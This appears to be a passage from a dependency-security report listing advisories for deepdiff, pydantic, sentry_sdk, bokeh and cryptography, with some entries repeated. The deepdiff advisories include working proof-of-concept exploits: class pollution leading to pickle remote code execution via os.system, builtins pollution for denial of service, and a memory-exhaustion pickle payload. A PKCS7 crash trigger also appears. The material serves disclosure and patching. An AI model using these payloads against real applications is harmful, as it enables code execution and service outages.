example. from deepdiff import Delta # Existing dictionary; it is assumed that it contains # at least one entry, otherwise a different Delta needs to be # applied first, adding an entry to the dictionary. mydict = {"tmp": "foobar"} # Apply Delta to mydict result = mydict + Delta(pollute_safe_to_import) Delta(rce_pickle) # no need to apply this Delta ``` ```shell $ python poc_rce.py $ cat /tmp/pwned uid=1000(dtc) gid=100(users) groups=100(users),1(wheel) ``` ### Who is affected? Only applications that pass (untrusted) user input directly into `Delta` are affected. While input in the form of `bytes` is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding `app.secret_key` of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass. ### Mitigations A straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser. This would have to be implemented in both `deepdiff.path._get_nested_obj` and `deepdiff.path._get_nested_obj_and_force`, and possibly in `deepdiff.delta.Delta._get_elements_and_details`. Example code that raises an error when traversing these properties: ```py if elem.startswith("__") and elem.endswith("__"): raise ValueError("traversing dunder attributes is not allowed") ``` However, if it is desirable to still support attributes starting and ending with `__`, but still protect against this vulnerability, it is possible to only forbid `__globals__` and `__builtins__`, which stops the most serious cases of class pollution (but not all). This was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180
GHSA-54jj-px8x-5w5q 8.6.2 l10n_es_aeat_sii_match
Show details
### Summary The pickle unpickler `_RestrictedUnpickler` validates which classes can be loaded but does not limit their constructor arguments. A few of the types in `SAFE_TO_IMPORT` have constructors that allocate memory proportional to their input (`builtins.bytes`, `builtins.list`, `builtins.range`). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call `pickle_load` with untrusted data. ### Details CVE-2025-58367 hardened the delta class against pollution and remote code execution by converting `SAFE_TO_IMPORT` to a `frozenset` and blocking traversal. `_RestrictedUnpickler.find_class` only gates which classes can be loaded. It doesn't intercept `REDUCE` opcodes or validate what is passed to constructors. It can be exploited in 2 ways. **1 - During `pickle_load`** A pickle that calls `bytes(N)` using opcodes permitted by the allowlist. The allocation happens during deserialization and before the delta processes anything. The restricted unpickler does not override `load_reduce` so any allowed class can be called. ``` GLOBAL builtins.bytes (passes find_class check — serialization.py:353) INT 10000000000 (10 billion) TUPLE + REDUCE → bytes(10**10) → allocates ~9.3 GB ``` **2 - During delta application** A valid diff dict that first sets a value to a large int via `values_changed`, then converts it to bytes via `type_changes`. It works because `_do_values_changed()` runs before `_do_type_changes()` in `Delta.add()` in `delta.py` line 183. Step 1 modifies the target in place before step 2 reads the modified value and calls `new_type(current_old_value)` at `delta.py` line 576 with no size guard. ### PoC The script uses Python's `resource` module to cap memory to 1 GB so you can reproduce safely without hitting the OOM killer. It loads deepdiff first, applies the limit, then runs the payload. Change `10**8` to `10**10` for the full 9.3 GB allocation. ```python import resource import sys def limit_memory(maxsize_mb): """Cap virtual memory for this process.""" soft, hard = resource.getrlimit(resource.RLIMIT_AS) maxsize_bytes = maxsize_mb * 1024 * 1024 try: resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard)) print(f"[*] Memory limit set to {maxsize_mb} MB") except ValueError: print("[!] Failed to set memory limit.") sys.exit(1) # Load heavy imports before enforcing the limit from deepdiff import Delta from deepdiff.serialization import pickle_dump, pickle_load limit_memory(1024) # --- Delta application path --- payload_dict = { 'values_changed': {"root['x']": {'new_value': 10**8}}, 'type_changes': {"root['x']": {'new_type': bytes}}, } payload1 = pickle_dump(payload_dict) print(f"Payload size: {len(payload1)} bytes") target = {'x': 'anything'} try: result = target + Delta(payload1) print(f"Allocated: {len(result['x']) // 1024 // 1024} MB") print(f"Amplification: {len(result['x']) // len(payload1)}x") except MemoryError: print("[!] MemoryError — payload tried to allocate too much") # --- Raw pickle path --- payload2 = ( b"(dp0\n" b"S'_'\n" b"cbuiltins\nbytes\n" b"(I100000000\n" b"tR" b"s." ) print(f"Payload size: {len(payload2)} bytes") try: result2 = pickle_load(payload2) print(f"Allocated: {len(result2['_']) // 1024 // 1024} MB") except MemoryError: print("[!] MemoryError — payload tried to allocate too much") ``` Output: ``` [*] Memory limit set to 1024 MB Payload size: 123 bytes Allocated: 95 MB Amplification: 813008x Payload size: 42 bytes Allocated: 95 MB ``` ### Impact Denial of service. Any application that deserializes delta objects or calls `pickle_load` with untrusted inputs can be crashed with a small payload. The restricted unpickler is meant to make this safe. It prevents remote code execution but doesn't prevent resource exhaustion. The amplification is large. 800,000x for delta and 2,000,000x for raw pickle. Impacted users are anyone who accepts serialized delta objects from untrusted sources — network APIs, file uploads, message queues, etc.
pydantic<2
ID Fixed In Affected modules Details
GHSA-mr82-8j83-vxmv 2.4.0, 1.10.13 base_rest_pydantic pydantic base_rest_demo
Show details
Regular expression denial of service in Pydantic < 2.4.0, < 1.10.13 allows remote attackers to cause denial of service via a crafted email string.
sentry_sdk<=1.9.0
ID Fixed In Affected modules Details
GHSA-g92j-qhmh-64v2 2.8.0, 1.45.1 sentry
Show details
### Impact The bug in Sentry's Python SDK <2.8.0 results in the unintentional exposure of environment variables to subprocesses despite the `env={}` setting. ### Details In Python's `subprocess` calls, all environment variables are passed to subprocesses by default. However, if you specifically do not want them to be passed to subprocesses, you may use `env` argument in `subprocess` calls, like in this example: ``` >>> subprocess.check_output(["env"], env={"TEST":"1"}) b'TEST=1\n' ``` If you'd want to not pass any variables, you can set an empty dict: ``` >>> subprocess.check_output(["env"], env={}) b'' ``` However, the bug in Sentry SDK <2.8.0 causes **all environment variables** to be passed to the subprocesses when `env={}` is set, unless the Sentry SDK's [Stdlib](https://docs.sentry.io/platforms/python/integrations/default-integrations/#stdlib) integration is disabled. The Stdlib integration is enabled by default. ### Patches The issue has been patched in https://github.com/getsentry/sentry-python/pull/3251 and the fix released in [sentry-sdk==2.8.0](https://github.com/getsentry/sentry-python/releases/tag/2.8.0). The fix was also backported to [sentry-sdk==1.45.1](https://github.com/getsentry/sentry-python/releases/tag/1.45.1). ### Workarounds We strongly recommend upgrading to the latest SDK version. However, if it's not possible, and if passing environment variables to child processes poses a security risk for you, there are two options: 1. In your application, replace `env={}` with the minimal dict `env={"EMPTY_ENV":"1"}` or similar. OR 2. Disable Stdlib integration: ``` import sentry_sdk # Should go before sentry_sdk.init sentry_sdk.integrations._DEFAULT_INTEGRATIONS.remove("sentry_sdk.integrations.stdlib.StdlibIntegration") sentry_sdk.init(...) ``` ### References * Sentry docs: [Default integrations](https://docs.sentry.io/platforms/python/integrations/default-integrations/) * Python docs: [subprocess module](https://docs.python.org/3/library/subprocess.html) * Patch https://github.com/getsentry/sentry-python/pull/3251
GHSA-29pr-6jr8-q5jm 1.14.0 sentry
Show details
### Impact When using the [Django integration](https://docs.sentry.io/platforms/python/guides/django/) of the Sentry SDK in a specific configuration it is possible to leak sensitive cookies values, including the session cookie to Sentry. These sensitive cookies could then be used by someone with access to your Sentry issues to impersonate or escalate their privileges within your application. The below must be true in order for these sensitive values to be leaked: 1. Your Sentry SDK configuration has `sendDefaultPII` set to `True` 2. You are using a custom name for either of the cookies below in your Django settings. - [`SESSION_COOKIE_NAME`](https://docs.djangoproject.com/en/4.1/ref/settings/#std-setting-SESSION_COOKIE_NAME) or - [`CSRF_COOKIE_NAME`](https://docs.djangoproject.com/en/4.1/ref/settings/#std-setting-CSRF_COOKIE_NAME) Django settings 3. You are not configured in your organization or project settings to use [our data scrubbing features](https://docs.sentry.io/product/data-management-settings/scrubbing/) to account for the custom cookie names ### Patches As of version `1.14.0`, the Django integration of the `sentry-sdk` will detect the custom cookie names based on your Django settings and will remove the values from the payload _before_ sending the data to Sentry. ### Workarounds If you can not update your `sentry-sdk` to a patched version than you can use the SDKs filtering mechanism to remove the cookies from the payload that is sent to Sentry. For error events this can be done with the [before_send](https://docs.sentry.io/platforms/python/configuration/filtering/#using-platformidentifier-namebefore-send-) callback method and for performance related events (transactions) you can use the [before_send_transaction](https://docs.sentry.io/platforms/python/configuration/filtering/#using-platformidentifier-namebefore-send-transaction-) callback method. If you'd like to handle filtering of these values on the server-side, you can also use our [advanced data scrubbing feature](https://docs.sentry.io/product/data-management-settings/scrubbing/advanced-datascrubbing/) to account for the custom cookie names. Look for the `$http.cookies`, `$http.headers`, `$request.cookies`, or `$request.headers` fields to target with your scrubbing rule. ### References - [Using Your Tools Against You (Chapter8 Blog Post)](https://medium.com/@tomwolters/using-your-tools-against-you-cea4d2482ebb) - [Sentry Python SDK Filtering](https://docs.sentry.io/platforms/python/configuration/filtering/) - [Sentry Data Scrubbing](https://docs.sentry.io/product/data-management-settings/scrubbing/advanced-datascrubbing/) ### Credits - [Tom Wolters (Chapter8)](https://chapter8.com)

24 vulnerabilities across 7 packages, affecting 7 modules.

bokeh==3.1.1
ID Fixed In Affected modules Details
GHSA-793v-589g-574v 3.8.2 web_widget_bokeh_chart
Show details
This vulnerability allows for **Cross-Site WebSocket Hijacking (CSWSH)** of a deployed Bokeh server instance. ### Scope This vulnerability is only relevant to deployed Bokeh server instances. There is no impact on static HTML output, standalone embedded plots, or Jupyter notebook usage. This vulnerability does not prevent any requirements for up-front authentication on Bokeh servers that have authentication hooks in place, and cannot be used to make Bokeh servers deployed on private, internal networks accessible outside those networks. ### Impact If a Bokeh server is configured with an allowlist (e.g., `dashboard.corp`), an attacker can register a domain like `dashboard.corp.attacker.com` (or use a subdomain if applicable) and lure a victim to visit it. The malicious site can then initiate a WebSocket connection to the vulnerable Bokeh server. Since the Origin header (e.g., `http://dashboard.corp.attacker.com/`) matches the allowlist according to the flawed logic, the connection is accepted. Once connected, the attacker can interact with the Bokeh server on behalf of the victim, potentially accessing sensitive data, or modifying visualizations. ### Patches Patched in versions 3.8.2 and later. ### Workarounds None ### Technical description The `match_host` function in `src/bokeh/server/util.py` contains a flaw in how it compares hostnames against the allowlist patterns. The function uses Python's `zip()` function to iterate over the parts of the hostname and the pattern simultaneously. However, `zip()` stops iteration when the shortest iterable is exhausted. Because the code only checks if the *pattern* is longer than the *host* (lines 232-233), but fails to check if the *host* is longer than the *pattern*, a host that **starts** with the pattern (but has additional segments) will successfully match. For example, if the allowlist is configured to `['[example.com](http://example.com/)']`, the function will incorrectly validate `[example.com.bad.com](http://example.com.evil.com/)` as a match: 1. `host` parts: `['example', 'com', 'bad', 'com']` 2. `pattern` parts: `['example', 'com']` 3. `zip` compares `example==example` (OK) and `com==com` (OK). 4. Iteration stops, and the function returns `True`.
cryptography<37
ID Fixed In Affected modules Details
GHSA-w7pp-m8wf-vj6r 39.0.1 mail_drop_target
Show details
Previously, `Cipher.update_into` would accept Python objects which implement the buffer protocol, but provide only immutable buffers: ```pycon >>> outbuf = b"\x00" * 32 >>> c = ciphers.Cipher(AES(b"\x00" * 32), modes.ECB()).encryptor() >>> c.update_into(b"\x00" * 16, outbuf) 16 >>> outbuf b'\xdc\x95\xc0x\xa2@\x89\x89\xadH\xa2\x14\x92\x84 \x87\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' ``` This would allow immutable objects (such as `bytes`) to be mutated, thus violating fundamental rules of Python. This is a soundness bug -- it allows programmers to misuse an API, it cannot be exploited by attacker controlled data alone. This now correctly raises an exception. This issue has been present since `update_into` was originally introduced in cryptography 1.8.
GHSA-x4qr-2fvf-3mr5 39.0.1 mail_drop_target
Show details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.8.1-39.0.0 are vulnerable to a security issue. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20221213.txt and https://www.openssl.org/news/secadv/20230207.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
GHSA-5cpq-8wj7-hf2v 41.0.0 mail_drop_target
Show details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.5-40.0.2 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://www.openssl.org/news/secadv/20230530.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
GHSA-jm77-qphf-c4w8 41.0.3 mail_drop_target
Show details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.8-41.0.2 are vulnerable to several security issues. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20230731.txt, https://www.openssl.org/news/secadv/20230719.txt, and https://www.openssl.org/news/secadv/20230714.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
GHSA-3ww4-gg4f-jr7f 42.0.0 mail_drop_target
Show details
A flaw was found in the python-cryptography package. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data.
GHSA-v8gr-m533-ghj9 41.0.4 mail_drop_target
Show details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 2.5-41.0.3 are vulnerable to several security issues. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20230908.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
GHSA-9v9h-cgj8-h64p 42.0.2 mail_drop_target
Show details
Issue summary: Processing a maliciously formatted PKCS12 file may lead OpenSSL to crash leading to a potential Denial of Service attack Impact summary: Applications loading files in the PKCS12 format from untrusted sources might terminate abruptly. A file in PKCS12 format can contain certificates and keys and may come from an untrusted source. The PKCS12 specification allows certain fields to be NULL, but OpenSSL does not correctly check for this case. This can lead to a NULL pointer dereference that results in OpenSSL crashing. If an application processes PKCS12 files from an untrusted source using the OpenSSL APIs then that application will be vulnerable to this issue. OpenSSL APIs that are vulnerable to this are: PKCS12_parse(), PKCS12_unpack_p7data(), PKCS12_unpack_p7encdata(), PKCS12_unpack_authsafes() and PKCS12_newpass(). We have also fixed a similar issue in SMIME_write_PKCS7(). However since this function is related to writing data we do not consider it security significant. The FIPS modules in 3.2, 3.1 and 3.0 are not affected by this issue.
PYSEC-2023-254 41.0.6 mail_drop_target
Show details
cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Calling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault. Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability. This vulnerability has been patched in version 41.0.6.
GHSA-r6ph-v2qm-q3c2 46.0.5 mail_drop_target
Show details
## Vulnerability Summary The `public_key_from_numbers` (or `EllipticCurvePublicNumbers.public_key()`), `EllipticCurvePublicNumbers.public_key()`, `load_der_public_key()` and `load_pem_public_key()` functions do not verify that the point belongs to the expected prime-order subgroup of the curve. This missing validation allows an attacker to provide a public key point `P` from a small-order subgroup. This can lead to security issues in various situations, such as the most commonly used signature verification (ECDSA) and shared key negotiation (ECDH). When the victim computes the shared secret as `S = [victim_private_key]P` via ECDH, this leaks information about `victim_private_key mod (small_subgroup_order)`. For curves with cofactor > 1, this reveals the least significant bits of the private key. When these weak public keys are used in ECDSA , it's easy to forge signatures on the small subgroup. Only SECT curves are impacted by this. ## Credit This vulnerability was discovered by: - XlabAI Team of Tencent Xuanwu Lab - Atuin Automated Vulnerability Discovery Engine
PYSEC-2023-11 39.0.1 mail_drop_target
Show details
cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In affected versions `Cipher.update_into` would accept Python objects which implement the buffer protocol, but provide only immutable buffers. This would allow immutable objects (such as `bytes`) to be mutated, thus violating fundamental rules of Python and resulting in corrupted output. This now correctly raises an exception. This issue has been present since `update_into` was originally introduced in cryptography 1.8.
GHSA-m959-cc7f-wv43 46.0.6 mail_drop_target
Show details
## Summary In versions of cryptography prior to 46.0.5, DNS name constraints were only validated against SANs within child certificates, and not the "peer name" presented during each validation. Consequently, cryptography would allow a peer named `bar.example.com` to validate against a wildcard leaf certificate for `*.example.com`, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for `bar.example.com`. This behavior resulted from a gap between RFC 5280 (which defines Name Constraint semantics) and RFC 9525 (which defines service identity semantics): put together, neither states definitively whether Name Constraints should be applied to peer names. To close this gap, cryptography now conservatively rejects any validation where the peer name would be rejected by a name constraint if it were a SAN instead. In practice, exploitation of this bypass requires an uncommon X.509 topology, one that the Web PKI avoids because it exhibits these kinds of problems. Consequently, we consider this a medium-to-low impact severity. See CVE-2025-61727 for a similar bypass in Go's `crypto/x509`. ## Remediation Users should upgrade to 46.0.6 or newer. ## Attribution Reporter: @1seal
PYSEC-2026-35 46.0.6 mail_drop_target
Show details
cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Prior to version 46.0.6, DNS name constraints were only validated against SANs within child certificates, and not the "peer name" presented during each validation. Consequently, cryptography would allow a peer named bar.example.com to validate against a wildcard leaf certificate for *.example.com, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for bar.example.com. This issue has been patched in version 46.0.6.
GHSA-537c-gmf6-5ccf 48.0.1 mail_drop_target
Show details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in wheels prior to cryptograph 48.01 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://openssl-library.org/news/secadv/20260609.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
GHSA-jfhm-5ghh-2f97 41.0.6 mail_drop_target
Show details
### Summary Calling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault. ### PoC Here is a Python code that triggers the issue: ```python from cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates pem_p7 = b""" -----BEGIN PKCS7----- MAsGCSqGSIb3DQEHAg== -----END PKCS7----- """ der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02" load_pem_pkcs7_certificates(pem_p7) load_der_pkcs7_certificates(der_p7) ``` ### Impact Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability.
deepdiff<8
ID Fixed In Affected modules Details
GHSA-mw26-5g2v-hqw3 8.6.1 l10n_es_aeat_sii_match
Show details
### Summary [Python class pollution](https://blog.abdulrah33m.com/prototype-pollution-in-python/) is a novel vulnerability categorized under [CWE-915](https://cwe.mitre.org/data/definitions/915.html). The `Delta` class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure [Pickle](https://docs.python.org/3/library/pickle.html) deserialization). The gadget available in DeepDiff allows `deepdiff.serialization.SAFE_TO_IMPORT` to be modified to allow dangerous classes such as `posix.system`, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to `Delta` is user-controlled. Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution. ### Details The `Delta` class can take different object types as a parameter in its constructor, such as a `DeltaDiff` object, a dictionary, or even just bytes (that are deserialized via Pickle). When it takes a dictionary, it is usually in the following format: ```py Delta({"dictionary_item_added": {"root.myattr['foo']": "bar"}}) ``` Trying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23 However, this code only runs when parsing the path from a string. The `_path_to_elements` function helpfully returns the given input if it is already a list/tuple: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53 This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter: ```py Delta( { "dictionary_item_added": { ( ("root", "GETATTR"), ("__init__", "GETATTR"), ("__globals__", "GETATTR"), ("PWNED", "GET"), ): 1337 } }, ) ``` Going back to the possible inputs of `Delta`, when it takes a `bytes` as input, it uses pickle to deserialize them. Care was taken by DeepDiff to prevent arbitrary code execution via the `SAFE_TO_IMPORT` allow list. https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98 However, using the class pollution in the `Delta`, an attacker can add new entries to this `set`. This then allows a second call to `Delta` to [unpickle an insecure class](https://davidhamann.de/2020/04/05/exploiting-python-pickle/) that runs `os.system`, for example. #### Using dict Usually, class pollution [does not work](https://gist.github.com/CalumHutton/45d33e9ea55bf4953b3b31c84703dfca#technical-details) when traversal starts at a `dict`/`list`/`tuple`, because it is not possible to reach `__globals__` from there. However, using two calls to `Delta` (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type `deepdiff.helper.Opcode`, which then allows traversal to `__globals__`, and notably `sys.modules`, which in turn allows traversal to any module already loaded by Python. Passing `Opcode` around can be done via pickle, which `Delta` will happily accept given it is in the default allow list. ### Proof of Concept With deepdiff 8.6.0 installed, run the following scripts for each proof of concept. All input to `Delta` is assumed to be user-controlled. #### Denial of Service This script will pollute the value of `builtins.int`, preventing the class from being used and making code crash whenever invoked. ```py # ------------[ Setup ]------------ import pickle from deepdiff.helper import Opcode pollute_int = pickle.dumps( { "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}}, "dictionary_item_added": { ( ("root", "GETATTR"), ("tmp", "GET"), ("__repr__", "GETATTR"), ("__globals__", "GETATTR"), ("__builtins__", "GET"), ("int", "GET"), ): "no longer a class" }, } ) assert isinstance(pollute_int, bytes) # ------------[ Exploit ]------------ # This could be some example, vulnerable, application. # The inputs above could be sent via HTTP, for example. from deepdiff import Delta # Existing dictionary; it is assumed that it contains # at least one entry, otherwise a different Delta needs to be # applied first, adding an entry to the dictionary. mydict = {"tmp": "foobar"} # Before pollution print(int("41") + 1) # Apply Delta to mydict result = mydict + Delta(pollute_int) print(int("1337")) ``` ```shell $ python poc_dos.py 42 Traceback (most recent call last): File "/tmp/poc_dos.py", line 43, in <module> print(int("1337")) TypeError: 'str' object is not callable ``` #### Remote Code Execution This script will create a file at `/tmp/pwned` with the output of `id`. ```py # ------------[ Setup ]------------ import os import pickle from deepdiff.helper import Opcode pollute_safe_to_import = pickle.dumps( { "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}}, "set_item_added": { ( ("root", "GETATTR"), ("tmp", "GET"), ("__repr__", "GETATTR"), ("__globals__", "GETATTR"), ("sys", "GET"), ("modules", "GETATTR"), ("deepdiff.serialization", "GET"), ("SAFE_TO_IMPORT", "GETATTR"), ): set(["posix.system"]) }, } ) # From https://davidhamann.de/2020/04/05/exploiting-python-pickle/ class RCE: def __reduce__(self): cmd = "id > /tmp/pwned" return os.system, (cmd,) # Wrap object with dictionary so that Delta does not crash rce_pickle = pickle.dumps({"_": RCE()}) assert isinstance(pollute_safe_to_import, bytes) assert isinstance(rce_pickle, bytes) # ------------[ Exploit ]------------ # This could be some example, vulnerable, application. # The inputs above could be sent via HTTP, for example. from deepdiff import Delta # Existing dictionary; it is assumed that it contains # at least one entry, otherwise a different Delta needs to be # applied first, adding an entry to the dictionary. mydict = {"tmp": "foobar"} # Apply Delta to mydict result = mydict + Delta(pollute_safe_to_import) Delta(rce_pickle) # no need to apply this Delta ``` ```shell $ python poc_rce.py $ cat /tmp/pwned uid=1000(dtc) gid=100(users) groups=100(users),1(wheel) ``` ### Who is affected? Only applications that pass (untrusted) user input directly into `Delta` are affected. While input in the form of `bytes` is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding `app.secret_key` of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass. ### Mitigations A straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser. This would have to be implemented in both `deepdiff.path._get_nested_obj` and `deepdiff.path._get_nested_obj_and_force`, and possibly in `deepdiff.delta.Delta._get_elements_and_details`. Example code that raises an error when traversing these properties: ```py if elem.startswith("__") and elem.endswith("__"): raise ValueError("traversing dunder attributes is not allowed") ``` However, if it is desirable to still support attributes starting and ending with `__`, but still protect against this vulnerability, it is possible to only forbid `__globals__` and `__builtins__`, which stops the most serious cases of class pollution (but not all). This was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180
GHSA-54jj-px8x-5w5q 8.6.2 l10n_es_aeat_sii_match
Show details
### Summary The pickle unpickler `_RestrictedUnpickler` validates which classes can be loaded but does not limit their constructor arguments. A few of the types in `SAFE_TO_IMPORT` have constructors that allocate memory proportional to their input (`builtins.bytes`, `builtins.list`, `builtins.range`). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call `pickle_load` with untrusted data. ### Details CVE-2025-58367 hardened the delta class against pollution and remote code execution by converting `SAFE_TO_IMPORT` to a `frozenset` and blocking traversal. `_RestrictedUnpickler.find_class` only gates which classes can be loaded. It doesn't intercept `REDUCE` opcodes or validate what is passed to constructors. It can be exploited in 2 ways. **1 - During `pickle_load`** A pickle that calls `bytes(N)` using opcodes permitted by the allowlist. The allocation happens during deserialization and before the delta processes anything. The restricted unpickler does not override `load_reduce` so any allowed class can be called. ``` GLOBAL builtins.bytes (passes find_class check — serialization.py:353) INT 10000000000 (10 billion) TUPLE + REDUCE → bytes(10**10) → allocates ~9.3 GB ``` **2 - During delta application** A valid diff dict that first sets a value to a large int via `values_changed`, then converts it to bytes via `type_changes`. It works because `_do_values_changed()` runs before `_do_type_changes()` in `Delta.add()` in `delta.py` line 183. Step 1 modifies the target in place before step 2 reads the modified value and calls `new_type(current_old_value)` at `delta.py` line 576 with no size guard. ### PoC The script uses Python's `resource` module to cap memory to 1 GB so you can reproduce safely without hitting the OOM killer. It loads deepdiff first, applies the limit, then runs the payload. Change `10**8` to `10**10` for the full 9.3 GB allocation. ```python import resource import sys def limit_memory(maxsize_mb): """Cap virtual memory for this process.""" soft, hard = resource.getrlimit(resource.RLIMIT_AS) maxsize_bytes = maxsize_mb * 1024 * 1024 try: resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard)) print(f"[*] Memory limit set to {maxsize_mb} MB") except ValueError: print("[!] Failed to set memory limit.") sys.exit(1) # Load heavy imports before enforcing the limit from deepdiff import Delta from deepdiff.serialization import pickle_dump, pickle_load limit_memory(1024) # --- Delta application path --- payload_dict = { 'values_changed': {"root['x']": {'new_value': 10**8}}, 'type_changes': {"root['x']": {'new_type': bytes}}, } payload1 = pickle_dump(payload_dict) print(f"Payload size: {len(payload1)} bytes") target = {'x': 'anything'} try: result = target + Delta(payload1) print(f"Allocated: {len(result['x']) // 1024 // 1024} MB") print(f"Amplification: {len(result['x']) // len(payload1)}x") except MemoryError: print("[!] MemoryError — payload tried to allocate too much") # --- Raw pickle path --- payload2 = ( b"(dp0\n" b"S'_'\n" b"cbuiltins\nbytes\n" b"(I100000000\n" b"tR" b"s." ) print(f"Payload size: {len(payload2)} bytes") try: result2 = pickle_load(payload2) print(f"Allocated: {len(result2['_']) // 1024 // 1024} MB") except MemoryError: print("[!] MemoryError — payload tried to allocate too much") ``` Output: ``` [*] Memory limit set to 1024 MB Payload size: 123 bytes Allocated: 95 MB Amplification: 813008x Payload size: 42 bytes Allocated: 95 MB ``` ### Impact Denial of service. Any application that deserializes delta objects or calls `pickle_load` with untrusted inputs can be crashed with a small payload. The restricted unpickler is meant to make this safe. It prevents remote code execution but doesn't prevent resource exhaustion. The amplification is large. 800,000x for delta and 2,000,000x for raw pickle. Impacted users are anyone who accepts serialized delta objects from untrusted sources — network APIs, file uploads, message queues, etc.
PYSEC-2026-327 8.6.1 l10n_es_aeat_sii_match
Show details
### Summary [Python class pollution](https://blog.abdulrah33m.com/prototype-pollution-in-python/) is a novel vulnerability categorized under [CWE-915](https://cwe.mitre.org/data/definitions/915.html). The `Delta` class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure [Pickle](https://docs.python.org/3/library/pickle.html) deserialization). The gadget available in DeepDiff allows `deepdiff.serialization.SAFE_TO_IMPORT` to be modified to allow dangerous classes such as `posix.system`, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to `Delta` is user-controlled. Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution. ### Details The `Delta` class can take different object types as a parameter in its constructor, such as a `DeltaDiff` object, a dictionary, or even just bytes (that are deserialized via Pickle). When it takes a dictionary, it is usually in the following format: ```py Delta({"dictionary_item_added": {"root.myattr['foo']": "bar"}}) ``` Trying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23 However, this code only runs when parsing the path from a string. The `_path_to_elements` function helpfully returns the given input if it is already a list/tuple: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53 This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter: ```py Delta( { "dictionary_item_added": { ( ("root", "GETATTR"), ("__init__", "GETATTR"), ("__globals__", "GETATTR"), ("PWNED", "GET"), ): 1337 } }, ) ``` Going back to the possible inputs of `Delta`, when it takes a `bytes` as input, it uses pickle to deserialize them. Care was taken by DeepDiff to prevent arbitrary code execution via the `SAFE_TO_IMPORT` allow list. https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98 